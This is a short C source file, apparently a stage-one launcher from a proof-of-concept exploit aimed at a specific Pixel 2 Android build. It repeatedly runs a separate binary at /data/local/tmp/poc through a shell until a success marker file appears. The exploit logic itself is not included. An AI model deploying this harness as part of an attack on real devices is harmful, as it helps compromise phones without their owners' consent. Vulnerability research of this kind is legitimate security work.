// for Pixel 2, build google/walleye/walleye:9/PQ1A.181105.017.A1/5081125:user/release-keys
#define _GNU_SOURCE
#include <stdlib.h>
#include <sys/syscall.h>
#include <pthread.h>
#include <sched.h>
#include <err.h>
#include <stdbool.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <string.h>
#include <sys/time.h>
#include <errno.h>
#include <sys/prctl.h>
#include <signal.h>

void runpoc() {
        pid_t pid;
	const char*  envs[] = {"LD_LIBRARY_PATH=/vendor/lib64:/system/lib64","PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin",NULL};
	const char*  args[] = {"/system/bin/sh","-c","/data/local/tmp/poc", NULL};

        if((pid = fork()) < 0)
                return;
	else if(pid == 0)
		execve("/system/bin/sh", (char**)args, (char**)envs);

	wait(pid);
}

int main(int argc, char** argv)
{
	while(1) {
		runpoc();
		if(access("/data/local/tmp/succ",F_OK) == 0) {
			printf("stage 1 success\n");
			break;
		}
	}
}

